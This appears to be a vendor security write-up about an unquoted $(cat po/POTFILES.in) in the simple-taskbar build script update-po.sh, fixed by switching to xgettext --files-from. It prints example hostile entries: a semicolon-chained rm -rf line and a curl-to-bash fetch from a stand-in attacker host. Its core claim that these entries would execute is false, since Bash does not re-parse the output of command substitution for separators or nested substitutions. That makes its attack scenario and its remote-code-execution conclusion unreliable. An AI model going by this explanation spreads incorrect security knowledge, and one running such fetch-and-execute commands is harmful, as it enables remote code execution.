How Command Injection Happens in Shell Scripts and How to Fix It
Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | OS Command Injection (CWE-78) |
| File | update-po.sh, line 24 |
| Language | Bash |
| Risk | Arbitrary command execution via crafted filenames in POTFILES.in |
| Root Cause | Unquoted $(cat po/POTFILES.in) passed directly to xgettext |
| Fix | Replaced with xgettext's native --files-from=po/POTFILES.in |
Summary
A command injection vulnerability in update-po.sh allowed maliciously crafted filenames in po/POTFILES.in to be interpreted as shell commands via unquoted command substitution. The fix replaces $(cat po/POTFILES.in) with xgettext's native --files-from= flag, eliminating the shell word-splitting attack surface entirely. This is a textbook example of how a single unquoted substitution can become a dangerous exploit primitive.
Introduction
The update-po.sh script handles translation template generation for the simple-taskbar project. Its job is straightforward: collect source file paths from po/POTFILES.in and pass them to xgettext to extract translatable strings into a .pot template file.
But buried in that routine task was a subtle, dangerous flaw. At line 24, the script used unquoted command substitution to feed filenames to xgettext:
$(cat po/POTFILES.in)
This single line, unquoted and unvalidated, handed the shell free rein to interpret whatever was inside POTFILES.in — not just as filenames, but as raw shell tokens. For developers working on similar build automation, localization pipelines, or CI scripts, this pattern is surprisingly common and consistently underestimated.
The Vulnerability Explained
What Actually Happens at the Shell Level
When Bash evaluates $(cat po/POTFILES.in), it:
- Executes
cat po/POTFILES.inand captures the output as a string. - Performs word splitting on that string using
IFS(the Internal Field Separator, defaulting to spaces, tabs, and newlines). - Passes each resulting token as a separate argument to
xgettext.
This is the intended behavior when POTFILES.in contains clean, well-formed filenames like:
src/main.c
src/window.c
src/tray.c
But word splitting doesn't distinguish between a filename and a shell metacharacter. If POTFILES.in contains a line like:
src/main.c; rm -rf /tmp/important_data
...the shell splits on the semicolon and executes rm -rf /tmp/important_data as a separate command.
The Vulnerable Code (Before the Fix)
Here is the exact vulnerable section from update-po.sh:
xgettext \
--keyword=_ \
--language=C \
--add-comments \
--sort-output \
--from-code=UTF-8 \
--package-name="simple-taskbar" \
--package-version=1.0 \
--copyright-holder="sultech" \
-o po/simple-taskbar.pot \
$(cat po/POTFILES.in) # <-- VULNERABLE: unquoted substitution
The absence of quotes around $(cat po/POTFILES.in) is the entire vulnerability. The shell eagerly word-splits and glob-expands the output before xgettext ever sees it.
A Concrete Attack Scenario
Imagine a scenario where po/POTFILES.in is generated or modified by an upstream process — a build system, a CI step that pulls from a repository, or even a developer's local tool that auto-populates the file list. An attacker who can influence the contents of POTFILES.in (through a supply chain compromise, a malicious PR, or a path traversal in an upstream generator) could insert a crafted entry:
src/main.c
$(curl https://attacker.example.com/payload.sh | bash)
When update-po.sh runs (often in a CI/CD pipeline with elevated permissions), the shell evaluates the inner substitution and executes the attacker's payload. The xgettext process itself is never the target — the shell is.
Even without full command injection, glob expansion is a risk. A filename like * in POTFILES.in would expand to every file in the current directory, potentially causing xgettext to process files it should never touch.
Real-World Impact for This Application
For simple-taskbar, update-po.sh is a build-time script likely executed in developer environments and CI pipelines. The blast radius of exploitation includes:
- Developer machines: Credential theft, backdoor installation, or data exfiltration.
- CI/CD runners: Secrets leakage (tokens, signing keys), artifact tampering, or pipeline poisoning.
- Supply chain risk: A compromised
.pottemplate could carry malicious strings into downstream localization tooling.
The Fix
What Changed
The fix is a single-line change that eliminates the shell substitution entirely:
- $(cat po/POTFILES.in)
+ --files-from=po/POTFILES.in
Before vs. After
Before (vulnerable):
xgettext \
--keyword=_ \
--language=C \
--add-comments \
--sort-output \
--from-code=UTF-8 \
--package-name="simple-taskbar" \
--package-version=1.0 \
--copyright-holder="sultech" \
-o po/simple-taskbar.pot \
$(cat po/POTFILES.in)
After (secure):
xgettext \
--keyword=_ \
--language=C \
--add-comments \
--sort-output \
--from-code=UTF-8 \
--package-name="simple-taskbar" \
--package-version=1.0 \
--copyright-holder="sultech" \
-o po/simple-taskbar.pot \
--files-from=po/POTFILES.in
Why This Fix Works
xgettext has a native --files-from= option specifically designed to read a list of input files from a file. When xgettext reads POTFILES.in directly:
- The shell never sees the file contents. There is no
$(...)substitution, no word splitting, no glob expansion. - Each line in
POTFILES.inis treated as a literal filename byxgettext's own argument parser, which does not invoke a shell interpreter. - Metacharacters like
;,|,$, and backticks in filenames are passed as-is to the filesystem lookup — they have no special meaning toxgettext.
This is the preferred pattern for passing file lists to tools: use the tool's native file-list mechanism rather than relying on the shell to expand the list. Many GNU tools (xargs with -a, grep with -f, xgettext with --files-from) support this pattern precisely because shell word-splitting is a known hazard.
Prevention & Best Practices
1. Always Quote Shell Substitutions
If you must use command substitution to pass arguments, always quote the result:
# Risky (word-splits and glob-expands):
command $(generate_args)
# Safer (treats output as a single argument):
command "$(generate_args)"
# Best (use arrays for multiple arguments):
mapfile -t args < po/POTFILES.in
command "${args[@]}"
Note that even quoting doesn't always save you — it depends on whether the tool expects one argument or many. Using arrays ("${args[@]}") is the idiomatic Bash solution for multi-argument lists from files.
2. Prefer Native File-List Options
Before reaching for $(cat somefile), check whether the tool you're calling has a native --files-from, -f, or --input-file option. This eliminates the shell as an intermediary entirely.
3. Enable Strict Mode in Shell Scripts
Add this to the top of every shell script:
#!/usr/bin/env bash
set -euo pipefail
-e: Exit immediately on any command failure.-u: Treat unset variables as errors.-o pipefail: Propagate failures through pipelines.
These flags won't prevent injection, but they reduce the chance that a failed or malicious command silently continues execution.
4. Use ShellCheck in Your CI Pipeline
ShellCheck is a static analysis tool for shell scripts that catches unquoted substitutions, unsafe patterns, and dozens of other shell pitfalls. It would flag the original $(cat po/POTFILES.in) pattern. Add it to your CI:
# GitHub Actions example
- name: ShellCheck
uses: ludeeus/action-shellcheck@master
5. Treat Build-Time Input Files as Untrusted
Files like POTFILES.in, requirements.txt, or any list file consumed by build scripts should be treated as untrusted if they can be modified by external contributors or upstream processes. Apply the same scrutiny to build inputs as to runtime inputs.
Security Standards Reference
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021: Injection — covers OS command injection alongside SQL and LDAP injection
- OWASP Command Injection Defense Cheat Sheet: Recommends using APIs that don't invoke the shell, exactly what
--files-from=achieves here
Key Takeaways
-
$(cat file)unquoted is a shell injection primitive. Inupdate-po.sh, the unquoted$(cat po/POTFILES.in)on line 24 handed the shell control overxgettext's argument list. Any tool that reads a file list this way is vulnerable to the same pattern. -
Use the tool's native file-list option instead of shell substitution.
xgettext --files-from=po/POTFILES.inreads the file list without ever involving the shell's word-splitting or glob-expansion machinery. Check for equivalent flags in other tools before defaulting to$(cat ...). -
Build-time scripts are attack surface too.
update-po.shruns in developer environments and CI pipelines — contexts with elevated privileges and access to secrets. Hardening build scripts is as important as hardening application code. -
This is an exploit primitive, not just a code smell. Even if
POTFILES.inis currently trusted, the pattern can be chained with other weaknesses (path traversal, supply chain compromise) by automated exploit tooling. Removing it proactively raises the bar. -
ShellCheck would have caught this. Static analysis for shell scripts is mature and free. Integrating ShellCheck into CI is a low-effort, high-value control that prevents this entire class of issue.
How Orbis AppSec Detected This
- Source: The contents of
po/POTFILES.in, a file that lists source files for translation extraction and can be influenced by contributors or upstream tooling. - Sink: The unquoted command substitution
$(cat po/POTFILES.in)on line 24 ofupdate-po.sh, passed directly as arguments to thexgettextshell command. - Missing control: No quoting, no input validation, no use of
xgettext's native file-list mechanism — the file contents were passed raw through the shell's word-splitting and expansion pipeline. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: Replaced
$(cat po/POTFILES.in)with--files-from=po/POTFILES.in, eliminating the shell substitution and its associated injection surface.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in update-po.sh is a reminder that command injection doesn't require a web form or a network socket. A single unquoted $(cat po/POTFILES.in) in a build script is enough to create an exploit primitive — one that becomes a full remote code execution vector the moment an attacker can influence the contents of POTFILES.in.
The fix is elegant precisely because it doesn't try to sanitize the dangerous pattern; it eliminates it. By switching to xgettext's native --files-from= flag, the shell is removed from the equation entirely. This is the right approach: when a safer API exists, use it instead of trying to make the unsafe one safe.
For developers writing build scripts, localization pipelines, or any shell automation that processes file lists: audit every $(cat ...) substitution. Ask whether the tool you're calling has a native file-list option. If it does, use it. If it doesn't, use Bash arrays with "${args[@]}". Never let the shell word-split untrusted input on your behalf.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Command Injection Defense Cheat Sheet
- OWASP Injection (A03:2021)
- xgettext --files-from documentation (GNU gettext)
- ShellCheck — Shell Script Static Analysis
- Semgrep rules for shell injection
- harden: sanitize shell/subprocess call in update-po.sh